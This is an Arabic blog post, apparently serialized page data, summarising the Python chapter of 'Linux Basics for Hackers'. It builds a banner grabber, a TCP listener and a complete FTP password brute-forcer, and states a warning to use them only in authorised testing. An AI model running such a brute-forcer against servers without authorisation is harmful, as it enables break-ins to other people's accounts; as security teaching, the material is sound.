[{"data":1,"prerenderedAt":974},["ShallowReactive",2],{"navigation":3,"\u002Fblog\u002Flinux-basics-09-python-scripting":114,"\u002Fblog\u002Flinux-basics-09-python-scripting-surround":971},[4],{"title":5,"path":6,"stem":7,"children":8,"page":113},"Blog","\u002Fblog","blog",[9,13,17,21,25,29,33,37,41,45,49,53,57,61,65,69,73,77,81,85,89,93,97,101,105,109],{"title":10,"path":11,"stem":12},"لينكس للهاكرز #3: من يملك حق التصرف؟ الصلاحيات والعمليات كما يراها الهاكر","\u002Fblog\u002Flinux-basics-03-permissions-processes","blog\u002Flinux-basics-03-permissions-processes",{"title":14,"path":15,"stem":16},"لينكس للهاكرز #4: متغيرات البيئة، وكتابة أول أداة اختراق بخط يدك","\u002Fblog\u002Flinux-basics-04-env-vars-bash-scripting","blog\u002Flinux-basics-04-env-vars-bash-scripting",{"title":18,"path":19,"stem":20},"لينكس للهاكرز #5: ضغط الملفات، ونسخة الطب الشرعي التي لا يفلت منها ملف محذوف","\u002Fblog\u002Flinux-basics-05-compression-storage","blog\u002Flinux-basics-05-compression-storage",{"title":22,"path":23,"stem":24},"لينكس للهاكرز #6: النظام الذي يتذكر كل شيء، والخدمات التي تُستخدم أو تُساء استخدامها","\u002Fblog\u002Flinux-basics-06-logging-services","blog\u002Flinux-basics-06-logging-services",{"title":26,"path":27,"stem":28},"لينكس للهاكرز #7: كيف تختفي على الإنترنت، وكيف تسمع ما تبثه الشبكات من حولك","\u002Fblog\u002Flinux-basics-07-anonymity-wireless","blog\u002Flinux-basics-07-anonymity-wireless",{"title":30,"path":31,"stem":32},"لينكس للهاكرز #8: قلب النظام الذي لا يُلمس، ومهام تعمل نيابة عنك وأنت نائم","\u002Fblog\u002Flinux-basics-08-kernel-scheduling","blog\u002Flinux-basics-08-kernel-scheduling",{"title":34,"path":35,"stem":36},"لينكس للهاكرز #9 (الأخيرة): من كاتب أوامر إلى بانٍ لأدوات — أساسيات بايثون للهاكرز","\u002Fblog\u002Flinux-basics-09-python-scripting","blog\u002Flinux-basics-09-python-scripting",{"title":38,"path":39,"stem":40},"لينكس للهاكرز #1","\u002Fblog\u002Flinuxbasic","blog\u002FlinuxBasic",{"title":42,"path":43,"stem":44},"لينكس للهاكرز #2: قراءة الشبكات كخريطة مفتوحة، وإدارة البرامج كالمحترفين","\u002Fblog\u002Flinuxbasic2","blog\u002FlinuxBasic2",{"title":46,"path":47,"stem":48},"نبذة عني: رحلة في عالم البرمجة والتقنية","\u002Fblog\u002Fme","blog\u002Fme",{"title":50,"path":51,"stem":52},"كيف تضع «شطر اليوم» على الشاشة الرئيسية لهاتفك","\u002Fblog\u002Fshatr-widget","blog\u002Fshatr-widget",{"title":54,"path":55,"stem":56},"ويندوز سيرفر للمحترفين #2: التثبيت الصحيح يبدأ قبل إدخال القرص","\u002Fblog\u002Fwindows-server-02-installation","blog\u002Fwindows-server-02-installation",{"title":58,"path":59,"stem":60},"ويندوز سيرفر للمحترفين #3: التخزين من القرص إلى RAID وSAN","\u002Fblog\u002Fwindows-server-03-storage","blog\u002Fwindows-server-03-storage",{"title":62,"path":63,"stem":64},"ويندوز سيرفر للمحترفين #4: الخدمات، لأن الخادم الذي لا يخدم لا قيمة له","\u002Fblog\u002Fwindows-server-04-services","blog\u002Fwindows-server-04-services",{"title":66,"path":67,"stem":68},"ويندوز سيرفر للمحترفين #5: Active Directory، خريطة النطاقات والغابات","\u002Fblog\u002Fwindows-server-05-ad-infrastructure","blog\u002Fwindows-server-05-ad-infrastructure",{"title":70,"path":71,"stem":72},"ويندوز سيرفر للمحترفين #6: بناء أول نطاق Active Directory من الصفر","\u002Fblog\u002Fwindows-server-06-configuring-ad","blog\u002Fwindows-server-06-configuring-ad",{"title":74,"path":75,"stem":76},"ويندوز سيرفر للمحترفين #7: المستخدمون والمجموعات ونموذج AGDLP","\u002Fblog\u002Fwindows-server-07-managing-ad","blog\u002Fwindows-server-07-managing-ad",{"title":78,"path":79,"stem":80},"ويندوز سيرفر للمحترفين #8: Group Policy، التحكم بمئات الأجهزة من مكان واحد","\u002Fblog\u002Fwindows-server-08-group-policy","blog\u002Fwindows-server-08-group-policy",{"title":82,"path":83,"stem":84},"ويندوز سيرفر للمحترفين #9: خوادم التطبيقات، من SQL Server إلى Exchange وSharePoint","\u002Fblog\u002Fwindows-server-09-application-servers","blog\u002Fwindows-server-09-application-servers",{"title":86,"path":87,"stem":88},"ويندوز سيرفر للمحترفين #10: IIS، خادم الويب والمصادقة والتشفير","\u002Fblog\u002Fwindows-server-10-iis","blog\u002Fwindows-server-10-iis",{"title":90,"path":91,"stem":92},"ويندوز سيرفر للمحترفين #11: خوادم الملفات والطباعة، وقاعدة \"الأنبوب\" في الصلاحيات","\u002Fblog\u002Fwindows-server-11-file-print","blog\u002Fwindows-server-11-file-print",{"title":94,"path":95,"stem":96},"ويندوز سيرفر للمحترفين #12: الوصول عن بُعد، من Remote Assistance إلى VPN وRDS","\u002Fblog\u002Fwindows-server-12-remote-access","blog\u002Fwindows-server-12-remote-access",{"title":98,"path":99,"stem":100},"ويندوز سيرفر للمحترفين #13: فن استكشاف الأعطال ومنهجية REACT","\u002Fblog\u002Fwindows-server-13-troubleshooting","blog\u002Fwindows-server-13-troubleshooting",{"title":102,"path":103,"stem":104},"ويندوز سيرفر للمحترفين #14: ضبط الأداء، ثلاث خرافات والمحاكاة الافتراضية","\u002Fblog\u002Fwindows-server-14-performance","blog\u002Fwindows-server-14-performance",{"title":106,"path":107,"stem":108},"ويندوز سيرفر للمحترفين #15: الصيانة واستمرارية الأعمال، لأن الخادم لن يعمل إلى الأبد","\u002Fblog\u002Fwindows-server-15-maintenance","blog\u002Fwindows-server-15-maintenance",{"title":110,"path":111,"stem":112},"ويندوز سيرفر للمحترفين #1: ما هو الخادم أصلًا؟ جولة أولى في عالم Windows Server","\u002Fblog\u002Fwindows-servers","blog\u002Fwindows-servers",false,{"id":115,"title":34,"author":116,"body":121,"date":965,"description":197,"extension":966,"image":967,"meta":968,"minRead":752,"navigation":729,"path":35,"seo":969,"stem":36,"__hash__":970},"blog\u002Fblog\u002Flinux-basics-09-python-scripting.md",{"name":117,"avatar":118},"Murtaja",{"src":119,"alt":120},"\u002Fhero\u002Fpixelme.jpg","murtaja",{"type":122,"value":123,"toc":948},"minimark",[124,129,147,150,154,159,162,174,177,181,191,251,254,273,280,328,332,335,345,352,356,378,381,411,415,418,473,477,503,512,523,527,538,581,588,592,595,620,627,631,634,664,667,697,701,711,822,825,868,871,879,888,890,894,914,918,928,939,941,944],[125,126,128],"h2",{"id":127},"قبل-أن-نبدأ","🧭 قبل أن نبدأ",[130,131,132,133,137,138,142,143,146],"p",{},"وصلنا إلى الحلقة التاسعة والأخيرة من سلسلة ",[134,135,136],"em",{},"Linux Basics for Hackers","! نختتم رحلتنا مع ",[139,140,141],"strong",{},"الفصل السابع عشر: أساسيات برمجة بايثون للهاكرز"," — أطول فصل في الكتاب، وربما الأهم، لأنه يجمع كل ما تعلمناه في الحلقات الثماني السابقة (الشبكات، الصلاحيات، الخدمات، البرمجة النصية) في أداة واحدة نهائية: ",[139,144,145],{},"كاسر كلمات مرور FTP حقيقي","، نبنيه معًا سطرًا سطرًا.",[148,149],"hr",{},[125,151,153],{"id":152},"الفصل-السابع-عشر-أساسيات-برمجة-بايثون-للهاكرز-python-scripting-basics-for-hackers","🐍 الفصل السابع عشر: أساسيات برمجة بايثون للهاكرز (Python Scripting Basics for Hackers)",[155,156,158],"h3",{"id":157},"لماذا-بايثون-تحديدًا","🎓 لماذا بايثون تحديدًا؟",[130,160,161],{},"يفتتح الكاتب الفصل بجملة صريحة وحاسمة، تضع حدًا فاصلًا بين نوعين من \"الهاكرز\":",[163,164,165],"blockquote",{},[130,166,167,170,171],{},[139,168,169],{},"\"Basic scripting skills are critical to becoming a master hacker. Without having developed some basic scripting skills, a beginner hacker who simply uses tools created by someone else will be condemned to the realm of script kiddies.\"","\n— ",[134,172,173],{},"\"مهارات البرمجة النصية الأساسية ضرورية لتصبح هاكرًا محترفًا. بدون تطوير بعض مهارات البرمجة النصية، سيبقى الهاكر المبتدئ الذي يكتفي باستخدام أدوات صنعها غيره محكومًا عليه بالبقاء في عالم الـ 'Script Kiddies' (الهواة المقلدين).\"",[130,175,176],{},"هذا الفرق جوهري: مستخدم الأدوات الجاهزة محدود بما صنعه غيره، وأسهل اكتشافًا من برامج الحماية وأنظمة كشف التسلل، بينما من يكتب أدواته الخاصة يملك مرونة وتخفيًا أكبر بكثير. ولماذا بايثون تحديدًا من بين كل اللغات؟ لأن معظم أشهر أدوات الاختراق (sqlmap، scapy، Social-Engineer Toolkit) مكتوبة بها، ولأنها تأتي بمكتبة ضخمة من الوحدات الجاهزة (أكثر من 1000 وحدة مدمجة) توفر عليك إعادة اختراع العجلة في كل مرة.",[155,178,180],{"id":179},"تثبيت-وإدارة-الوحدات-مع-pip","📦 تثبيت وإدارة الوحدات مع pip",[130,182,183,184,190],{},"مدير الحزم الخاص ببايثون هو ",[139,185,186],{},[187,188,189],"code",{},"pip",":",[192,193,198],"pre",{"className":194,"code":195,"language":196,"meta":197,"style":197},"language-bash shiki shiki-themes material-theme-lighter material-theme material-theme-palenight","kali > apt-get install python3-pip\nkali > pip3 install \u003Cاسم الحزمة>\n","bash","",[187,199,200,223],{"__ignoreMap":197},[201,202,205,209,213,217,220],"span",{"class":203,"line":204},"line",1,[201,206,208],{"class":207},"sBMFI","kali",[201,210,212],{"class":211},"sMK4o"," >",[201,214,216],{"class":215},"sfazB"," apt-get",[201,218,219],{"class":215}," install",[201,221,222],{"class":215}," python3-pip\n",[201,224,226,228,230,233,235,238,241,244,248],{"class":203,"line":225},2,[201,227,208],{"class":207},[201,229,212],{"class":211},[201,231,232],{"class":215}," pip3",[201,234,219],{"class":215},[201,236,237],{"class":211}," \u003C",[201,239,240],{"class":215},"اسم",[201,242,243],{"class":215}," الحزم",[201,245,247],{"class":246},"sTEyZ","ة",[201,249,250],{"class":211},">\n",[130,252,253],{},"للتحقق من مكان حزمة مثبَّتة أو تفاصيلها:",[192,255,257],{"className":194,"code":256,"language":196,"meta":197,"style":197},"kali > pip3 show pysnmp\n",[187,258,259],{"__ignoreMap":197},[201,260,261,263,265,267,270],{"class":203,"line":204},[201,262,208],{"class":207},[201,264,212],{"class":211},[201,266,232],{"class":215},[201,268,269],{"class":215}," show",[201,271,272],{"class":215}," pysnmp\n",[130,274,275,276,279],{},"كما يمكن تثبيت وحدات من مصادر خارجية (مثل GitHub مباشرة) عبر ",[187,277,278],{},"wget"," ثم:",[192,281,283],{"className":194,"code":282,"language":196,"meta":197,"style":197},"kali > tar -xzf package.tar.gz\nkali > cd package_directory\u002F\nkali > python setup.py install\n",[187,284,285,300,312],{"__ignoreMap":197},[201,286,287,289,291,294,297],{"class":203,"line":204},[201,288,208],{"class":207},[201,290,212],{"class":211},[201,292,293],{"class":215}," tar",[201,295,296],{"class":215}," -xzf",[201,298,299],{"class":215}," package.tar.gz\n",[201,301,302,304,306,309],{"class":203,"line":225},[201,303,208],{"class":207},[201,305,212],{"class":211},[201,307,308],{"class":215}," cd",[201,310,311],{"class":215}," package_directory\u002F\n",[201,313,315,317,319,322,325],{"class":203,"line":314},3,[201,316,208],{"class":207},[201,318,212],{"class":211},[201,320,321],{"class":215}," python",[201,323,324],{"class":215}," setup.py",[201,326,327],{"class":215}," install\n",[155,329,331],{"id":330},"️-نقطة-حاسمة-التنسيق-في-بايثون-ليس-اختياريًا","⚠️ نقطة حاسمة: التنسيق في بايثون ليس اختياريًا",[130,333,334],{},"فارق جوهري يميز بايثون عن bash:",[163,336,337],{},[130,338,339,170,342],{},[139,340,341],{},"\"One difference between Python and some other scripting languages is that formatting is critically important in Python... If you have a group of code lines that you start with double indentation, you must be consistent with the double indentation throughout the entire block.\"",[134,343,344],{},"\"أحد الفروقات بين بايثون ولغات البرمجة النصية الأخرى هو أن التنسيق (Formatting) في بايثون أمر بالغ الأهمية... إن بدأت مجموعة أسطر بمسافة بادئة مزدوجة، يجب أن تحافظ على هذه المسافة بثبات طوال الكتلة البرمجية بأكملها.\"",[130,346,347,348,351],{},"في bash، التنسيق مجرد ممارسة جيدة؛ في بايثون، هو ",[139,349,350],{},"جزء من قواعد اللغة نفسها"," — خطأ في المسافة البادئة (Indentation) يعني خطأ برمجي فعلي.",[155,353,355],{"id":354},"أول-سكربت-بايثون","🧱 أول سكربت بايثون",[192,357,361],{"className":358,"code":359,"language":360,"meta":197,"style":197},"language-python shiki shiki-themes material-theme-lighter material-theme material-theme-palenight","#! \u002Fusr\u002Fbin\u002Fpython3\nname = \"OccupyTheWeb\"\nprint(\"Greetings to \" + name + \" from Hackers-Arise. The Best Place to Learn Hacking!\")\n","python",[187,362,363,368,373],{"__ignoreMap":197},[201,364,365],{"class":203,"line":204},[201,366,367],{},"#! \u002Fusr\u002Fbin\u002Fpython3\n",[201,369,370],{"class":203,"line":225},[201,371,372],{},"name = \"OccupyTheWeb\"\n",[201,374,375],{"class":203,"line":314},[201,376,377],{},"print(\"Greetings to \" + name + \" from Hackers-Arise. The Best Place to Learn Hacking!\")\n",[130,379,380],{},"تمامًا كما في bash، نحتاج منح صلاحية التنفيذ أولًا:",[192,382,384],{"className":194,"code":383,"language":196,"meta":197,"style":197},"kali > chmod 755 hackers-arise_greetings.py\nkali > .\u002Fhackers-arise_greetings.py\n",[187,385,386,402],{"__ignoreMap":197},[201,387,388,390,392,395,399],{"class":203,"line":204},[201,389,208],{"class":207},[201,391,212],{"class":211},[201,393,394],{"class":215}," chmod",[201,396,398],{"class":397},"sbssI"," 755",[201,400,401],{"class":215}," hackers-arise_greetings.py\n",[201,403,404,406,408],{"class":203,"line":225},[201,405,208],{"class":207},[201,407,212],{"class":211},[201,409,410],{"class":215}," .\u002Fhackers-arise_greetings.py\n",[155,412,414],{"id":413},"أنواع-البيانات-أكثر-بكثير-مما-اعتدنا-عليه-في-bash","🧮 أنواع البيانات: أكثر بكثير مما اعتدنا عليه في Bash",[130,416,417],{},"بينما كانت متغيرات bash نصوصًا (Strings) في الغالب، تقدّم بايثون خمسة أنواع بيانات أساسية:",[419,420,421,431,439,447,464],"ul",{},[422,423,424,427,428],"li",{},[139,425,426],{},"String (نص)",": ",[187,429,430],{},"\"Hackers-Arise Is the Best\"",[422,432,433,427,436],{},[139,434,435],{},"Integer (عدد صحيح)",[187,437,438],{},"12",[422,440,441,427,444],{},[139,442,443],{},"Float (عدد عشري)",[187,445,446],{},"3.1415",[422,448,449,427,452,455,456,459,460,463],{},[139,450,451],{},"List (قائمة)",[187,453,454],{},"[1, 2, 3, 4, 5, 6]"," — مجموعة قيم مرتبة، يبدأ ترقيمها من ",[139,457,458],{},"صفر لا واحد"," (أول عنصر هو ",[187,461,462],{},"القائمة[0]",").",[422,465,466,427,469,472],{},[139,467,468],{},"Dictionary (قاموس)",[187,470,471],{},"{'name': 'OccupyTheWeb', 'value': 27}"," — أزواج \"مفتاح:قيمة\" غير مرتبة، تُستدعى بالمفتاح مباشرة بدلًا من الموقع الرقمي.",[155,474,476],{"id":475},"الدوال-والوحدات-والبرمجة-كائنية-التوجه","🧰 الدوال، والوحدات، والبرمجة كائنية التوجه",[130,478,479,480,483,484,487,488,487,491,494,495,498,499,502],{},"يشرح الكاتب مفهوم ",[139,481,482],{},"الدوال (Functions)"," الجاهزة في بايثون مثل ",[187,485,486],{},"len()","، ",[187,489,490],{},"type()",[187,492,493],{},"sorted()","، ثم مفهوم ",[139,496,497],{},"الوحدات (Modules)"," — ملفات كود جاهزة يمكن استيرادها بكلمة ",[187,500,501],{},"import"," بدلًا من إعادة كتابتها:",[192,504,506],{"className":358,"code":505,"language":360,"meta":197,"style":197},"import nmap\n",[187,507,508],{"__ignoreMap":197},[201,509,510],{"class":203,"line":204},[201,511,505],{},[130,513,514,515,518,519,522],{},"ويقدّم مقدمة مبسطة وواضحة عن ",[139,516,517],{},"البرمجة كائنية التوجه (OOP)",": كل شيء في بايثون هو \"كائن\" (Object) له خصائص (Properties، مثل لون السيارة) وأفعال (Methods، مثل \"قيادة\" السيارة). فهم هذا المفهوم ضروري لأن مكتبة ",[187,520,521],{},"socket"," التي سنستخدمها بعد قليل هي مثال حي على OOP.",[155,524,526],{"id":525},"بناء-أداة-استطلاع-حقيقية-banner-grabbing","🎯 بناء أداة استطلاع حقيقية: Banner Grabbing",[130,528,529,530,533,534,537],{},"هنا يبدأ الفصل فعليًا في بناء أدوات هجومية. أول أداة: ",[139,531,532],{},"سكربت \"التقاط اللافتة\" (Banner Grabbing)"," — تقنية تكشف نوع وإصدار الخدمة العاملة على منفذ معين، وهي بالضبط ما يفعله موقع ",[139,535,536],{},"Shodan.io"," الشهير على نطاق يشمل كل عناوين IP على وجه الأرض:",[192,539,541],{"className":358,"code":540,"language":360,"meta":197,"style":197},"#! \u002Fusr\u002Fbin\u002Fpython3\nimport socket\ns = socket.socket()\ns.connect((\"127.0.0.1\", 22))\nanswer = s.recv(1024)\nprint(answer)\ns.close()\n",[187,542,543,547,552,557,563,569,575],{"__ignoreMap":197},[201,544,545],{"class":203,"line":204},[201,546,367],{},[201,548,549],{"class":203,"line":225},[201,550,551],{},"import socket\n",[201,553,554],{"class":203,"line":314},[201,555,556],{},"s = socket.socket()\n",[201,558,560],{"class":203,"line":559},4,[201,561,562],{},"s.connect((\"127.0.0.1\", 22))\n",[201,564,566],{"class":203,"line":565},5,[201,567,568],{},"answer = s.recv(1024)\n",[201,570,572],{"class":203,"line":571},6,[201,573,574],{},"print(answer)\n",[201,576,578],{"class":203,"line":577},7,[201,579,580],{},"s.close()\n",[130,582,583,584,587],{},"أربعة أسطر فقط تكفي للاتصال بأي منفذ ومعرفة الخدمة التي تُصغي عليه — على سبيل المثال، ستحصل على رد مثل ",[187,585,586],{},"SSH-2.0-OpenSSH_7.3p1 Debian-1","، وهذه معلومة استطلاعية حيوية قبل أي محاولة استغلال، لأن كل ثغرة مرتبطة بإصدار محدد من برنامج محدد.",[155,589,591],{"id":590},"بناء-مستمع-شبكي-tcp-listener","📡 بناء مستمع شبكي (TCP Listener)",[130,593,594],{},"بعد بناء \"عميل\" يتصل بالآخرين، نبني الاتجاه المعاكس: خادمًا صغيرًا يستمع للاتصالات الواردة ويجمع معلومات عمّن يتصل به:",[192,596,598],{"className":358,"code":597,"language":360,"meta":197,"style":197},"s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind((TCP_IP, TCP_PORT))\ns.listen(1)\nconn, addr = s.accept()\n",[187,599,600,605,610,615],{"__ignoreMap":197},[201,601,602],{"class":203,"line":204},[201,603,604],{},"s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n",[201,606,607],{"class":203,"line":225},[201,608,609],{},"s.bind((TCP_IP, TCP_PORT))\n",[201,611,612],{"class":203,"line":314},[201,613,614],{},"s.listen(1)\n",[201,616,617],{"class":203,"line":559},[201,618,619],{},"conn, addr = s.accept()\n",[130,621,622,623,626],{},"هذا السكربت البسيط — كما يشير الكاتب — يشبه فعليًا أداة استطلاع شبكي شهيرة تُدعى ",[139,624,625],{},"p0f",".",[155,628,630],{"id":629},"حلقات-التكرار-والشروط-العقل-المنطقي-للسكربت","🔁 حلقات التكرار والشروط: العقل المنطقي للسكربت",[130,632,633],{},"قبل الوصول للأداة النهائية، يشرح الفصل ثلاث بنى تحكم أساسية:",[419,635,636,644,652],{},[422,637,638,643],{},[139,639,640],{},[187,641,642],{},"if \u002F else",": لاتخاذ قرار بناءً على شرط.",[422,645,646,651],{},[139,647,648],{},[187,649,650],{},"while",": تكرار كتلة كود طالما شرط معين صحيح.",[422,653,654,659,660,663],{},[139,655,656],{},[187,657,658],{},"for",": المرور على كل عنصر في قائمة أو قاموس، وهي البنية التي سنستخدمها لتجربة ",[139,661,662],{},"كل كلمة مرور في قائمة","، واحدة تلو الأخرى.",[130,665,666],{},"مثال يجمع بين الفكرتين، يقدّمه الكاتب كمقدمة مباشرة لأداة كسر كلمات المرور:",[192,668,670],{"className":358,"code":669,"language":360,"meta":197,"style":197},"for password in passwords:\n    attempt = connect(username, password)\n    if attempt == \"230\":\n        print(\"Password found: \" + password)\n        sys.exit(0)\n",[187,671,672,677,682,687,692],{"__ignoreMap":197},[201,673,674],{"class":203,"line":204},[201,675,676],{},"for password in passwords:\n",[201,678,679],{"class":203,"line":225},[201,680,681],{},"    attempt = connect(username, password)\n",[201,683,684],{"class":203,"line":314},[201,685,686],{},"    if attempt == \"230\":\n",[201,688,689],{"class":203,"line":559},[201,690,691],{},"        print(\"Password found: \" + password)\n",[201,693,694],{"class":203,"line":565},[201,695,696],{},"        sys.exit(0)\n",[155,698,700],{"id":699},"الأداة-الختامية-كاسر-كلمات-مرور-ftp-كامل","🏆 الأداة الختامية: كاسر كلمات مرور FTP كامل",[130,702,703,704,706,707,710],{},"هذه هي اللحظة التي تتوّج بها السلسلة كلها. باستخدام كل ما تعلمناه — الوحدات، القوائم، حلقات ",[187,705,658],{},"، ومعالجة الأخطاء عبر ",[187,708,709],{},"try\u002Fexcept"," — يبني الكاتب أداة حقيقية بالكامل:",[192,712,714],{"className":358,"code":713,"language":360,"meta":197,"style":197},"#! \u002Fusr\u002Fbin\u002Fpython3\nimport ftplib\n\nserver = input(\"FTP Server: \")\nuser = input(\"username: \")\nPasswordlist = input(\"Path to Password List > \")\n\ntry:\n    with open(Passwordlist, 'r') as pw:\n        for word in pw:\n            word = word.strip('\\r\\n')\n            try:\n                ftp = ftplib.FTP(server)\n                ftp.login(user, word)\n                print('Success! The password is ' + word)\n            except ftplib.error_perm as exc:\n                print('still trying...', exc)\nexcept Exception as exc:\n    print('Wordlist error: ', exc)\n",[187,715,716,720,725,731,736,741,746,750,756,762,768,774,780,786,792,798,804,810,816],{"__ignoreMap":197},[201,717,718],{"class":203,"line":204},[201,719,367],{},[201,721,722],{"class":203,"line":225},[201,723,724],{},"import ftplib\n",[201,726,727],{"class":203,"line":314},[201,728,730],{"emptyLinePlaceholder":729},true,"\n",[201,732,733],{"class":203,"line":559},[201,734,735],{},"server = input(\"FTP Server: \")\n",[201,737,738],{"class":203,"line":565},[201,739,740],{},"user = input(\"username: \")\n",[201,742,743],{"class":203,"line":571},[201,744,745],{},"Passwordlist = input(\"Path to Password List > \")\n",[201,747,748],{"class":203,"line":577},[201,749,730],{"emptyLinePlaceholder":729},[201,751,753],{"class":203,"line":752},8,[201,754,755],{},"try:\n",[201,757,759],{"class":203,"line":758},9,[201,760,761],{},"    with open(Passwordlist, 'r') as pw:\n",[201,763,765],{"class":203,"line":764},10,[201,766,767],{},"        for word in pw:\n",[201,769,771],{"class":203,"line":770},11,[201,772,773],{},"            word = word.strip('\\r\\n')\n",[201,775,777],{"class":203,"line":776},12,[201,778,779],{},"            try:\n",[201,781,783],{"class":203,"line":782},13,[201,784,785],{},"                ftp = ftplib.FTP(server)\n",[201,787,789],{"class":203,"line":788},14,[201,790,791],{},"                ftp.login(user, word)\n",[201,793,795],{"class":203,"line":794},15,[201,796,797],{},"                print('Success! The password is ' + word)\n",[201,799,801],{"class":203,"line":800},16,[201,802,803],{},"            except ftplib.error_perm as exc:\n",[201,805,807],{"class":203,"line":806},17,[201,808,809],{},"                print('still trying...', exc)\n",[201,811,813],{"class":203,"line":812},18,[201,814,815],{},"except Exception as exc:\n",[201,817,819],{"class":203,"line":818},19,[201,820,821],{},"    print('Wordlist error: ', exc)\n",[130,823,824],{},"آلية العمل بالتفصيل:",[826,827,828,831,836,851,865],"ol",{},[422,829,830],{},"نطلب من المستخدم عنوان خادم FTP، اسم المستخدم، ومسار قائمة كلمات المرور.",[422,832,833,834,626],{},"نفتح ملف كلمات المرور ونمر عبره سطرًا سطرًا بحلقة ",[187,835,658],{},[422,837,838,839,842,843,846,847,850],{},"نستخدم ",[187,840,841],{},"strip()"," لإزالة أحرف السطر الجديد الخفية (",[187,844,845],{},"\\r\\n",") من كل كلمة — تفصيل صغير لكنه ",[139,848,849],{},"حاسم","، لأن تجاهله يعني رفض كل كلمة مرور حتى لو كانت صحيحة!",[422,852,853,854,857,858,861,862,626],{},"نحاول تسجيل الدخول بكل كلمة عبر ",[187,855,856],{},"try","، وإن فشلت المحاولة، ينتقل التنفيذ لـ ",[187,859,860],{},"except"," ويطبع \"still trying...\" وينتقل للكلمة التالية تلقائيًا ",[139,863,864],{},"دون أن يتوقف السكربت بالكامل بسبب الخطأ",[422,866,867],{},"عند النجاح، يُطبع كلمة المرور الصحيحة فورًا.",[130,869,870],{},"نتيجة التشغيل الفعلية التي يوردها الكتاب:",[192,872,877],{"className":873,"code":875,"language":876},[874],"language-text","still trying...\nstill trying...\nstill trying...\nSuccess! The password is toor\n","text",[187,878,875],{"__ignoreMap":197},[163,880,881],{},[130,882,883,884,887],{},"⚠️ هذه الأداة، كأي أداة كسر كلمات مرور، مُعدّة ",[139,885,886],{},"حصرًا لاختبار قوة كلمات المرور على أنظمتك الخاصة"," أو ضمن اختبار اختراق مصرَّح به كتابيًا. استخدامها ضد أي خادم لا تملكه هو جريمة إلكترونية موصوفة، بغض النظر عن مدى \"بساطة\" الكود.",[148,889],{},[125,891,893],{"id":892},"اقتباسات-هذا-الجزء-تستحق-التوقف-عندها","💎 اقتباسات هذا الجزء تستحق التوقف عندها",[419,895,896,902,908],{},[422,897,898,901],{},[134,899,900],{},"\"بدون مهارات برمجة نصية، سيبقى الهاكر المبتدئ محكومًا عليه بالبقاء في عالم الـ Script Kiddies.\""," — الجملة التي تختصر الفارق بين الهواية والاحتراف في هذا المجال.",[422,903,904,907],{},[134,905,906],{},"\"التنسيق في بايثون أمر بالغ الأهمية، لا مجرد ممارسة جيدة.\""," — درس تقني بسيط لكنه يوفر ساعات من التصحيح للمبتدئين.",[422,909,910,911,626],{},"كود كاسر كلمات مرور FTP في أقل من 15 سطرًا — أفضل دليل عملي على فكرة الكتاب الأساسية: ",[139,912,913],{},"الأدوات البسيطة، حين تُجمَع بفهم عميق، تصبح قوية بشكل مخيف",[125,915,917],{"id":916},"خلاصة-الجزء-وخلاصة-السلسلة-بأكملها","🎯 خلاصة الجزء، وخلاصة السلسلة بأكملها",[130,919,920,921,924,925,927],{},"في هذا الفصل الختامي، انتقلنا من كتابة سكربتات bash بسيطة إلى بناء أدوات استطلاع واستغلال حقيقية بلغة بايثون — الأداة المفضّلة لدى الغالبية العظمى من الهاكرز المحترفين. لكن الأهم من ذلك أن هذا الفصل هو تتويج طبيعي لكل ما سبقه: نفس منطق الأنبوب (",[187,922,923],{},"|",") الذي تعلمناه في الفصل الأول أصبح الآن ",[187,926,658],{}," loop يمرّر بيانات بين خطوات؛ نفس متغيرات bash من الفصل السابع أصبحت متغيرات بايثون بأنواع بيانات أغنى؛ ونفس مفهوم \"الخدمات\" الذي تعلمناه في الفصل الثاني عشر (FTP كواحدة منها) أصبح الآن هدفًا مباشرًا لأداة نكتبها بأيدينا.",[130,929,930,931,934,935,938],{},"هذه هي الرسالة التي يختم بها OccupyTheWeb كتابه بأكمله: ",[139,932,933],{},"لينكس ليس مجرد نظام تشغيل تتعلم أوامره، بل بيئة متكاملة، كل جزء فيها يبني على الجزء الذي قبله","، من ",[187,936,937],{},"pwd"," البسيط في الصفحة الأولى، إلى كاسر كلمات مرور كامل في الصفحة الأخيرة.",[148,940],{},[130,942,943],{},"بهذا نختتم سلسلة \"لينكس للهاكرز\" بتسعة أجزاء غطّت الكتاب بالكامل من الفصل الأول إلى السابع عشر. أتمنى أن تكون هذه الرحلة مفيدة لكل من يريد الدخول لعالم الأمن السيبراني من الباب الصحيح — فهم الأساسيات أولًا، قبل أي أداة جاهزة. 🚀",[945,946,947],"style",{},"html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sbssI, html code.shiki 